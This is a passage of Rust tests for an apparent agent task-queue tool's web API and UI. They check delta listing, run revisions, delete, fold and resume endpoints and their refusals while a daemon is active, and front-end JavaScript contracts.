14960 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14961 let home = TempDir::new().unwrap();
14962 let ui = delta_test_ui(home.path());
14963 let queue = ui.queue.clone();
14964 let query = |ids: Option<&str>| {
14965 Query(ListQuery {
14966 limit: Some(2),
14967 ids: ids.map(str::to_owned),
14968 })
14969 };
14970 let mut root = Task::new(
14971 "root".into(),
14972 "instruction".into(),
14973 PathBuf::from("/repo"),
14974 Source::Human,
14975 );
14976 queue.put(&mut root).unwrap();
14977 let mut blocked = Task::new(
14978 "blocked".into(),
14979 "instruction".into(),
14980 PathBuf::from("/repo"),
14981 Source::Human,
14982 );
14983 blocked.block(vec![root.id.clone()], None);
14984 queue.put(&mut blocked).unwrap();
14985 let whole =
14986 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14987 .unwrap();
14988 let subset = serde_json::to_value(
14989 queue_list(State(ui.clone()), query(Some(&root.id)))
14990 .await
14991 .unwrap()
14992 .0,
14993 )
14994 .unwrap();
14995 assert_eq!(whole, subset, "requested root plus its blocked dependent");
14996 let blockers = serde_json::to_value(
14997 queue_list(State(ui.clone()), query(Some("")))
14998 .await
14999 .unwrap()
15000 .0,
15001 )
15002 .unwrap();
15003 assert_eq!(blockers.as_array().unwrap().len(), 1);
15004 assert_eq!(blockers[0]["id"], blocked.id);
15005 assert_eq!(
15006 blockers[0]["waits_on"],
15007 whole
15008 .as_array()
15009 .unwrap()
15010 .iter()
15011 .find(|row| row["id"] == blocked.id)
15012 .unwrap()["waits_on"]
15013 );
15014
15015 for id in [
15016 "20260902-140501-aaaa",
15017 "20260902-140502-bbbb",
15018 "20260902-140503-cccc",
15019 ] {
15020 write_run(&ui.runs, id, RunStatus::Merged);
15021 }
15022 let old = serde_json::to_value(
15023 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
15024 .await
15025 .unwrap()
15026 .0,
15027 )
15028 .unwrap();
15029 assert!(
15030 old.as_array().unwrap().is_empty(),
15031 "older updates must not enter the window"
15032 );
15033 let newest = serde_json::to_value(
15034 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
15035 .await
15036 .unwrap()
15037 .0,
15038 )
15039 .unwrap();
15040 assert_eq!(newest.as_array().unwrap().len(), 1);
15041 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
15042
15043 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
15044 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
15045 let talks = serde_json::to_value(
15046 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
15047 .await
15048 .unwrap()
15049 .0,
15050 )
15051 .unwrap();
15052 assert_eq!(talks.as_array().unwrap().len(), 1);
15053 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
15054 assert_eq!(
15055 serde_json::to_value(
15056 talks_list(State(ui.clone()), query(Some("")))
15057 .await
15058 .unwrap()
15059 .0
15060 )
15061 .unwrap(),
15062 serde_json::json!([])
15063 );
15064 }
15065
15066 #[tokio::test]
15067 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
15068 async fn delta_payload_benchmark() {
15069 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
15070 let ui = delta_test_ui(&home);
15071 let query = |ids: Option<String>| {
15072 Query(ListQuery {
15073 limit: Some(50),
15074 ids,
15075 })
15076 };
15077 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
15078 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
15079 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
15080 let queue_id = queue
15081 .iter()
15082 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
15083 .unwrap_or(&queue[0])
15084 .task
15085 .id
15086 .clone();
15087 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
15088 .await
15089 .unwrap()
15090 .0;
15091 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
15092 .await
15093 .unwrap()
15094 .0;
15095 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
15096 .await
15097 .unwrap()
15098 .0;
15099 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
15100 eprintln!(
15101 "DELTA_PAYLOAD {}",
15102 serde_json::json!({
15103 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
15104 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
15105 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
15106 "counts": [queue.len(), runs.len(), talks.len()],
15107 "blocked": queue_delta.len() - 1,
15108 })
15109 );
15110 }
15111
15112 #[test]
15113 fn runs_revision_moves_when_deleting_an_older_run() {
15114 let temp = TempDir::new().expect("tempdir");
15115 let runs = temp.path().join("runs");
15116 std::fs::create_dir_all(&runs).expect("create runs dir");
15117
15118 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
15119
15120 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
15121 std::thread::sleep(Duration::from_millis(10));
15122 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
15123
15124 let rev_before = runs_revision(&runs);
15125 assert!(rev_before > 0);
15126
15127 let old_dir = runs.join("20260901-100000-old1");
15128 std::fs::remove_dir_all(&old_dir).expect("remove old run");
15129
15130 let rev_after = runs_revision(&runs);
15131 assert_ne!(
15132 rev_before, rev_after,
15133 "deleting an older run must change the revision so other clients see the deletion"
15134 );
15135 }
15136
15137 fn write_state(runs: &FsPath, state: &RunState) {
15142 let dir = runs.join(&state.id);
15143 std::fs::create_dir_all(&dir).expect("run dir");
15144 std::fs::write(
15145 dir.join("run.json"),
15146 serde_json::to_string_pretty(state).expect("serialize run"),
15147 )
15148 .expect("write run.json");
15149 }
15150
15151 #[test]
15156 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
15157 let temp = TempDir::new().expect("tempdir");
15158 let runs = temp.path().join("runs");
15159 std::fs::create_dir_all(&runs).expect("create runs dir");
15160 let mut state = RunState::new(
15161 PathBuf::from("/repo/magi"),
15162 "main".to_owned(),
15163 "0123456789abcdef".to_owned(),
15164 "task".to_owned(),
15165 Config::default(),
15166 );
15167 state.id = "20260902-100000-c0de".to_owned();
15168 write_state(&runs, &state);
15169
15170 let rev_idle = runs_revision(&runs);
15171 std::thread::sleep(Duration::from_millis(10));
15172 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
15173 write_state(&runs, &state);
15174 let rev_started = runs_revision(&runs);
15175 assert_ne!(
15176 rev_idle, rev_started,
15177 "a seat starting must move the revision"
15178 );
15179
15180 std::thread::sleep(Duration::from_millis(10));
15181 state.seat_finished("judge-1");
15182 write_state(&runs, &state);
15183 let rev_finished = runs_revision(&runs);
15184 assert_ne!(
15185 rev_started, rev_finished,
15186 "and clearing it again must move the revision a second time"
15187 );
15188 }
15189
15190 #[tokio::test]
15191 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
15192 let fx = Fixture::start().await;
15197 let q = fx.queue();
15198
15199 let mut t = Task::new(
15200 "Task".to_owned(),
15201 "Instruction".to_owned(),
15202 PathBuf::from("/repo"),
15203 Source::Human,
15204 );
15205 t.block(
15206 vec!["20260101-000000-dead".to_owned()],
15207 Some("waiting on Task 1".to_owned()),
15208 );
15209 t.answers.push(crate::queue::AnsweredQuestion {
15210 question: "Which backend?".to_owned(),
15211 answer: "SQLite".to_owned(),
15212 });
15213 q.put(&mut t).expect("put t");
15214
15215 let res = fx.get("/api/queue").await;
15216 assert_eq!(res.status, 200);
15217 let list = res.json();
15218 let view = list
15219 .as_array()
15220 .expect("array")
15221 .iter()
15222 .find(|v| v["id"] == t.id)
15223 .expect("task in list");
15224 assert_eq!(view["status_str"], "blocked");
15225 assert_eq!(
15226 view["blocked_by"],
15227 serde_json::json!(["20260101-000000-dead"])
15228 );
15229 assert_eq!(view["block_reason"], "waiting on Task 1");
15230 assert_eq!(view["answers"][0]["question"], "Which backend?");
15231 assert_eq!(view["answers"][0]["answer"], "SQLite");
15232
15233 let res = fx
15237 .post(&format!("/api/queue/{}/hold", t.short()), None)
15238 .await;
15239 assert_eq!(res.status, 200);
15240 let held = res.json();
15241 assert_eq!(held["status_str"], "held");
15242 assert_eq!(held["blocked_by"], serde_json::json!([]));
15243 assert!(held["block_reason"].is_null());
15244 assert_eq!(held["answers"][0]["answer"], "SQLite");
15245 }
15246
15247 #[tokio::test]
15248 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
15249 let fx = Fixture::start().await;
15250 let q = fx.queue();
15251 let mk = |title: &str| {
15252 Task::new(
15253 title.to_owned(),
15254 "Instruction".to_owned(),
15255 PathBuf::from("/repo"),
15256 Source::Human,
15257 )
15258 };
15259 let mut root = mk("root");
15260 root.hold_manual(Some("waiting".to_owned()));
15261 q.put(&mut root).unwrap();
15262 let mut mid = mk("mid");
15263 mid.block(vec![root.id.clone()], None);
15264 q.put(&mut mid).unwrap();
15265 let mut leaf = mk("leaf");
15266 leaf.block(vec![mid.id.clone()], None);
15267 q.put(&mut leaf).unwrap();
15268
15269 let list = fx.get("/api/queue").await.json();
15270 let find = |id: &str| {
15271 list.as_array()
15272 .unwrap()
15273 .iter()
15274 .find(|v| v["id"] == id)
15275 .unwrap()
15276 .clone()
15277 };
15278 let leaf_view = find(&leaf.id);
15279 assert_eq!(
15280 leaf_view["waits_on"],
15281 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
15282 );
15283 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
15284 assert_eq!(
15285 find(&mid.id)["waits_on"],
15286 serde_json::json!([format!("{} (held)", root.short())])
15287 );
15288 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
15289 }
15290
15291 #[tokio::test]
15292 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
15293 let fx = Fixture::start().await;
15294 let q = fx.queue();
15295
15296 let mut t1 = Task::new(
15298 "Task 1".to_owned(),
15299 "Instruction 1".to_owned(),
15300 PathBuf::from("/repo"),
15301 Source::Human,
15302 );
15303 let run_id = "20260901-000000-r111";
15304 t1.runs.push(run_id.to_owned());
15305 write_run(&fx.runs(), run_id, RunStatus::Merged);
15306 q.put(&mut t1).expect("put t1");
15307
15308 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
15310 assert_eq!(res.status, 204);
15311 assert!(res.body.is_empty(), "204 No Content has no body");
15312 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
15313 assert!(
15314 fx.runs().join(run_id).exists(),
15315 "run directory must not be deleted when its task is deleted"
15316 );
15317
15318 let mut t2 = Task::new(
15320 "Task 2".to_owned(),
15321 "Instruction 2".to_owned(),
15322 PathBuf::from("/repo"),
15323 Source::Human,
15324 );
15325 t2.status = TaskStatus::Running;
15326 q.put(&mut t2).expect("put t2");
15327 let mut beat = crate::daemon::Status::new();
15328 beat.current = vec![crate::daemon::Current {
15329 task: t2.id.clone(),
15330 run: "20260901-000000-r222".to_owned(),
15331 }];
15332 beat.updated_at = jiff::Timestamp::now();
15333 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15334 .expect("publish a heartbeat");
15335 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
15336 assert_eq!(res.status, 409);
15337 assert!(
15338 res.json()["error"]
15339 .as_str()
15340 .unwrap()
15341 .contains("live daemon")
15342 );
15343 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
15344
15345 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
15351 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15352 .expect("leave a stale heartbeat");
15353 let mut t3 = Task::new(
15354 "Task 3".to_owned(),
15355 "Instruction 3".to_owned(),
15356 PathBuf::from("/repo"),
15357 Source::Human,
15358 );
15359 t3.status = TaskStatus::Running;
15360 q.put(&mut t3).expect("put t3");
15361 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
15362 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
15363 assert_eq!(res.status, 204);
15364 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
15365 assert!(
15366 q.claim(&t3.id).is_ok(),
15367 "the stale lock went with it, so the id is claimable again"
15368 );
15369
15370 let res = fx.delete("/api/queue/nonexistent").await;
15372 assert_eq!(res.status, 404);
15373 }
15374
15375 #[tokio::test]
15376 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
15377 let fx = Fixture::start().await;
15378 let runs = fx.runs();
15379
15380 let run_id = "20260901-000000-fold";
15382 let mut state = RunState::new(
15383 PathBuf::from("/repo"),
15384 "main".to_owned(),
15385 "abc".to_owned(),
15386 "instruction".to_owned(),
15387 Config::default(),
15388 );
15389 state.id = run_id.to_owned();
15390 state.status = RunStatus::Merged;
15391 state.candidates.push(crate::run::Candidate {
15392 index: 0,
15393 label: 'A',
15394 agent: "a".to_owned(),
15395 branch: "b".to_owned(),
15396 worktree: PathBuf::from("/w"),
15397 summary: String::new(),
15398 stat: String::new(),
15399 files: 1,
15400 commits: 1,
15401 empty: false,
15402 failed: None,
15403 verified_noop: None,
15404 duration_ms: 0,
15405 folded: true,
15406 });
15407 let dir = runs.join(run_id);
15408 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
15409 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
15410 .expect("write artifact");
15411 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
15412 .expect("write run.json");
15413
15414 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
15416 assert_eq!(res.status, 204);
15417 assert!(res.body.is_empty(), "204 has no body");
15418 assert!(!dir.exists(), "run directory and artifacts must be deleted");
15419
15420 let run_running = "20260901-000000-rung";
15425 write_run(&runs, run_running, RunStatus::Prep);
15426 let mut beat = crate::daemon::Status::new();
15427 beat.current = vec![crate::daemon::Current {
15428 task: "20260901-000000-task".to_owned(),
15429 run: run_running.to_owned(),
15430 }];
15431 beat.updated_at = jiff::Timestamp::now();
15432 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15433 .expect("publish a heartbeat");
15434 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
15435 assert_eq!(res.status, 409);
15436 assert!(
15437 res.json()["error"]
15438 .as_str()
15439 .unwrap()
15440 .contains("live daemon"),
15441 "the refusal must say who is holding it"
15442 );
15443 assert!(
15444 runs.join(run_running).exists(),
15445 "a run in flight keeps its directory"
15446 );
15447
15448 let run_unfolded = "20260901-000000-unfd";
15450 let mut state2 = RunState::new(
15451 PathBuf::from("/repo"),
15452 "main".to_owned(),
15453 "abc".to_owned(),
15454 "instruction".to_owned(),
15455 Config::default(),
15456 );
15457 state2.id = run_unfolded.to_owned();
15458 state2.status = RunStatus::Ready;
15459 state2.candidates.push(crate::run::Candidate {
15460 index: 0,
15461 label: 'A',
15462 agent: "a".to_owned(),
15463 branch: "b".to_owned(),
15464 worktree: PathBuf::from("/w"),
15465 summary: String::new(),
15466 stat: String::new(),
15467 files: 1,
15468 commits: 1,
15469 empty: false,
15470 failed: None,
15471 verified_noop: None,
15472 duration_ms: 0,
15473 folded: false,
15474 });
15475 let dir2 = runs.join(run_unfolded);
15476 std::fs::create_dir_all(&dir2).expect("create dir2");
15477 std::fs::write(
15478 dir2.join("run.json"),
15479 serde_json::to_string(&state2).unwrap(),
15480 )
15481 .expect("write run.json");
15482
15483 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
15484 assert_eq!(res.status, 409);
15485 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
15486 assert!(dir2.exists(), "unfolded run directory is kept");
15487
15488 let res = fx.delete("/api/runs/nonexistent").await;
15490 assert_eq!(res.status, 404);
15491 }
15492
15493 #[test]
15502 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
15503 let start = APP_JS
15504 .find("function renderStats() {")
15505 .expect("renderStats");
15506 let end = start
15507 + APP_JS[start..]
15508 .find("function statsTile(")
15509 .expect("the next top-level function");
15510 let body = &APP_JS[start..end];
15511
15512 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
15513 let gate_end = gate_start
15514 + body[gate_start..]
15515 .find("}\n renderStatsQueue")
15516 .expect("the gate's own closing brace, right before the unconditional call");
15517 let gated = &body[gate_start..gate_end];
15518
15519 assert_eq!(
15520 body.matches("renderStatsQueue(").count(),
15521 1,
15522 "renderStats must call renderStatsQueue exactly once: {body}"
15523 );
15524 assert!(
15525 !gated.contains("renderStatsQueue"),
15526 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
15527 run-derived panels on an empty run history - the queue panel has to render \
15528 regardless: {gated}"
15529 );
15530 }
15531
15532 #[test]
15533 fn web_ui_delete_contract_in_front_end() {
15534 assert!(APP_JS.contains("deleteRun:"));
15536 assert!(APP_JS.contains("deleteTask:"));
15537
15538 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
15540 ..APP_JS.find("function renderRuns").unwrap()];
15541 assert!(!run_cards_slice.to_lowercase().contains("delete"));
15542
15543 assert!(APP_JS.contains("renderRunDelete"));
15545 assert!(APP_JS.contains("runDeleteReason"));
15546 assert!(APP_JS.contains("magi fold"));
15547 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
15548
15549 assert!(APP_JS.contains("cancel.focus"));
15551 assert!(APP_JS.contains("armedRunDelete"));
15552 assert!(APP_JS.contains("renderTaskDeleteBox"));
15553 assert!(APP_JS.contains("armed${cap(key)}"));
15554
15555 assert!(APP_JS.contains("disabled: status === \"running\""));
15557 }
15558
15559 #[test]
15579 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
15580 let build = APP_JS
15581 .find("function createRunCard")
15582 .expect("createRunCard exists");
15583 let update = APP_JS
15584 .find("function updateRunCard")
15585 .expect("updateRunCard exists");
15586 let end = APP_JS
15587 .find("function renderRuns")
15588 .expect("renderRuns exists");
15589
15590 let builder = &APP_JS[build..update];
15592 let open = builder.find("refs = {").expect("createRunCard sets refs");
15593 let literal = &builder[open + "refs = {".len()..];
15594 let close = literal.find('}').expect("the refs literal is closed");
15595 let published: HashSet<&str> = literal[..close]
15596 .split(',')
15597 .filter_map(|entry| entry.split(':').next())
15599 .map(str::trim)
15600 .filter(|name| !name.is_empty())
15601 .collect();
15602 assert!(
15603 published.len() > 5,
15604 "the refs literal did not parse into names: {published:?}"
15605 );
15606
15607 let mut used: Vec<&str> = Vec::new();
15610 let updaters = &APP_JS[update..end];
15611 for (at, _) in updaters.match_indices("r.") {
15612 let before = updaters[..at].chars().next_back();
15615 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
15616 continue;
15617 }
15618 let rest = &updaters[at + 2..];
15619 let len = rest
15620 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
15621 .unwrap_or(rest.len());
15622 if len > 0 {
15623 used.push(&rest[..len]);
15624 }
15625 }
15626 assert!(
15627 used.len() > 5,
15628 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
15629 );
15630
15631 let missing: Vec<&str> = used
15632 .iter()
15633 .copied()
15634 .filter(|name| !published.contains(name))
15635 .collect();
15636 assert!(
15637 missing.is_empty(),
15638 "a run card's updater reaches for {missing:?}, which `createRunCard` \
15639 never put in `refs` - every card will throw and the list will \
15640 render empty under a count line that says otherwise. Published: \
15641 {published:?}"
15642 );
15643 }
15644
15645 #[tokio::test]
15646 async fn folding_from_the_phone_reports_what_it_removed() {
15647 let fx = Fixture::start().await;
15648 let runs = fx.runs();
15649
15650 let id = "20260901-000000-fold";
15654 write_run(&runs, id, RunStatus::Stalled);
15655 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15656 assert_eq!(res.status, 200);
15657 assert_eq!(res.json()["removed_count"], 0);
15658 assert_eq!(res.json()["run"], id);
15659 assert!(
15660 runs.join(id).exists(),
15661 "a fold keeps the run's record; only the worktrees go"
15662 );
15663 }
15664
15665 #[tokio::test]
15666 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
15667 let fx = Fixture::start().await;
15668 let runs = fx.runs();
15669 let wt = fx.home.path().join("wt").join("magi").join("dead");
15670 let id = "20260901-000000-dead";
15671 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15672 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15673 std::fs::create_dir_all(&wt).expect("worktree dir");
15674
15675 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15676 assert_eq!(res.status, 200, "{}", res.body);
15677 assert!(
15678 res.json()["removed_count"].as_u64().unwrap() > 0,
15679 "the worktree this build could not read a state for still went"
15680 );
15681 assert!(
15682 !runs.join(id).exists(),
15683 "an unreadable run has no candidate list to fold selectively, so \
15684 the whole record goes - same as `magi fold` on the CLI"
15685 );
15686 }
15687
15688 #[tokio::test]
15689 async fn deleting_an_unreadable_run_removes_it_wholesale() {
15690 let fx = Fixture::start().await;
15691 let runs = fx.runs();
15692 let wt = fx.home.path().join("wt").join("magi").join("gone");
15693 let id = "20260901-000000-gone";
15694 std::fs::create_dir_all(runs.join(id)).expect("run dir");
15695 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
15696 std::fs::create_dir_all(&wt).expect("worktree dir");
15697
15698 let res = fx.delete(&format!("/api/runs/{id}")).await;
15699 assert_eq!(res.status, 204, "{}", res.body);
15700 assert!(!runs.join(id).exists(), "the broken record is gone");
15701 assert!(!wt.exists(), "its worktree is gone too");
15702 }
15703
15704 #[tokio::test]
15705 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
15706 let fx = Fixture::start().await;
15707 let runs = fx.runs();
15708 let id = "20260901-000000-live";
15709 write_run(&runs, id, RunStatus::Implementing);
15710
15711 let mut beat = crate::daemon::Status::new();
15712 beat.current = vec![crate::daemon::Current {
15713 task: "20260901-000000-task".to_owned(),
15714 run: id.to_owned(),
15715 }];
15716 beat.updated_at = jiff::Timestamp::now();
15717 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15718 .expect("publish a heartbeat");
15719
15720 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
15721 assert_eq!(res.status, 409);
15722 assert!(
15723 res.json()["error"]
15724 .as_str()
15725 .unwrap()
15726 .contains("live daemon"),
15727 "folding under a running agent would pull its worktree away"
15728 );
15729 }
15730
15731 #[tokio::test]
15732 async fn fold_merged_requires_a_pr_url() {
15733 let fx = Fixture::start().await;
15734 let runs = fx.runs();
15735 let id = "20260901-000000-nourl";
15736 write_run(&runs, id, RunStatus::Blocked);
15737
15738 let res = fx
15739 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
15740 .await;
15741 assert_eq!(res.status, 400, "{}", res.body);
15742
15743 let blank = fx
15744 .post(
15745 &format!("/api/runs/{id}/fold-merged"),
15746 Some(r#"{"pr_url":" "}"#),
15747 )
15748 .await;
15749 assert_eq!(blank.status, 400, "{}", blank.body);
15750 }
15751
15752 #[tokio::test]
15753 async fn fold_merged_is_404_for_an_unknown_run() {
15754 let fx = Fixture::start().await;
15755 let res = fx
15756 .post(
15757 "/api/runs/nosuchrun/fold-merged",
15758 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15759 )
15760 .await;
15761 assert_eq!(res.status, 404, "{}", res.body);
15762 }
15763
15764 #[tokio::test]
15765 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
15766 let fx = Fixture::start().await;
15767 let runs = fx.runs();
15768 let id = "20260901-000000-livemerge";
15769 write_run(&runs, id, RunStatus::Blocked);
15770
15771 let mut beat = crate::daemon::Status::new();
15772 beat.current = vec![crate::daemon::Current {
15773 task: "20260901-000000-task".to_owned(),
15774 run: id.to_owned(),
15775 }];
15776 beat.updated_at = jiff::Timestamp::now();
15777 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15778 .expect("publish a heartbeat");
15779
15780 let res = fx
15781 .post(
15782 &format!("/api/runs/{id}/fold-merged"),
15783 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15784 )
15785 .await;
15786 assert_eq!(res.status, 409, "{}", res.body);
15787 assert!(
15788 res.json()["error"]
15789 .as_str()
15790 .unwrap()
15791 .contains("live daemon"),
15792 "correcting a run's merge underneath a running agent would race \
15793 whatever it is doing to the same `status`/`merge` fields"
15794 );
15795 }
15796
15797 #[tokio::test]
15802 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
15803 let fx = Fixture::start().await;
15804 let runs = fx.runs();
15805 let id = "20260901-000000-unconfirmed";
15806 write_run(&runs, id, RunStatus::Blocked);
15807
15808 let res = fx
15809 .post(
15810 &format!("/api/runs/{id}/fold-merged"),
15811 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
15812 )
15813 .await;
15814 assert_eq!(res.status, 400, "{}", res.body);
15815 assert_eq!(
15816 read_run(&runs, id).unwrap().status,
15817 RunStatus::Blocked,
15818 "a pull request that could not be confirmed merged must leave \
15819 the run exactly where it was"
15820 );
15821 }
15822
15823 #[tokio::test]
15824 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
15825 let fx = Fixture::start().await;
15826 let runs = fx.runs();
15827
15828 for (status, word) in [
15834 (RunStatus::Merged, "merged"),
15835 (RunStatus::Ready, "ready"),
15836 (RunStatus::Failed, "failed"),
15837 ] {
15838 let id = format!("20260901-000000-{}", &word[..4]);
15839 write_run(&runs, &id, status);
15840 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
15841 assert_eq!(res.status, 409, "{word} must not be resumable");
15842 let err = res.json()["error"].as_str().unwrap().to_owned();
15843 assert!(err.contains(word), "the refusal names the status: {err}");
15844 }
15845
15846 let mid = "20260901-000000-midf";
15851 write_run(&runs, mid, RunStatus::Reviewing);
15852 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
15853 assert_eq!(res.status, 202, "an interrupted run is resumable");
15854 }
15855
15856 #[tokio::test]
15857 async fn resume_is_refused_while_the_loop_is_running() {
15858 let fx = Fixture::start().await;
15859 let runs = fx.runs();
15860 let stalled = "20260901-000000-stal";
15861 write_run(&runs, stalled, RunStatus::Stalled);
15862
15863 let mut beat = crate::daemon::Status::new();
15867 beat.current = vec![crate::daemon::Current {
15868 task: "20260901-000000-task".to_owned(),
15869 run: "20260901-000000-othr".to_owned(),
15870 }];
15871 beat.updated_at = jiff::Timestamp::now();
15872 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
15873 .expect("publish a heartbeat");
15874
15875 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
15876 assert_eq!(res.status, 409);
15877 let err = res.json()["error"].as_str().unwrap().to_owned();
15878 assert!(err.contains("othr"), "it names what the loop is on: {err}");
15879 assert!(err.contains("stop it first"), "{err}");
15880 }
15881
15882 #[test]
15883 fn a_run_cannot_be_resumed_twice_at_once() {
15884 let home = TempDir::new().expect("temp home");
15885 let ui = Ui::new(
15886 Queue::at(home.path().join("queue")),
15887 Questions::at(home.path().join("questions")),
15888 Talks::at(home.path().join("talks")),
15889 home.path().join("runs"),
15890 home.path().to_path_buf(),
15891 PathBuf::from("/repo"),
15892 )
15893 .with_worktrees_root(home.path().join("wt"));
15894 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
15895 let again = ui.begin_resume("20260901-000000-once");
15896 assert!(again.is_err(), "a second tap must not start a second graph");
15897 drop(first);
15898 assert!(
15899 ui.begin_resume("20260901-000000-once").is_ok(),
15900 "and the claim is released when the attempt ends"
15901 );
15902 }
15903
15904 #[test]
15905 fn talk_thinking_tracks_only_its_held_turn_claim() {
15906 let home = TempDir::new().expect("temp home");
15907 let ui = Ui::new(
15908 Queue::at(home.path().join("queue")),
15909 Questions::at(home.path().join("questions")),
15910 Talks::at(home.path().join("talks")),
15911 home.path().join("runs"),
15912 home.path().to_path_buf(),
15913 PathBuf::from("/repo"),
15914 )
15915 .with_worktrees_root(home.path().join("wt"));
15916 let id = "20260901-000000-once";
15917
15918 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
15919 let turn = ui.begin_talk_turn(id).expect("claim turn");
15920 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
15921 assert!(
15922 !ui.is_thinking("20260901-000000-other"),
15923 "one talk's turn does not make another talk busy"
15924 );
15925 drop(turn);
15926 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
15927 }
15928
15929 #[test]
15930 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
15931 let home = TempDir::new().expect("temp home");
15932 let talks = Talks::at(home.path().join("talks"));
15933 let ui = Ui::new(
15934 Queue::at(home.path().join("queue")),
15935 Questions::at(home.path().join("questions")),
15936 talks.clone(),
15937 home.path().join("runs"),
15938 home.path().to_path_buf(),
15939 PathBuf::from("/repo"),
15940 )
15941 .with_worktrees_root(home.path().join("wt"));
15942 let id = "20260901-000000-cross";
15943
15944 let other = Talks::at(home.path().join("talks"))
15945 .claim_turn(id)
15946 .expect("claim")
15947 .expect("the other process wins");
15948 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
15949 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
15950 assert!(
15951 matches!(
15952 ui.begin_talk_turn_unless_pending(id).expect("start"),
15953 TalkTurnStart::Foreign
15954 ),
15955 "a foreign holder is refused, not queued behind"
15956 );
15957 assert!(
15958 !ui.talk_turns.lock().unwrap().live.contains(id),
15959 "a refused claim leaves no in-process entry behind"
15960 );
15961 drop(other);
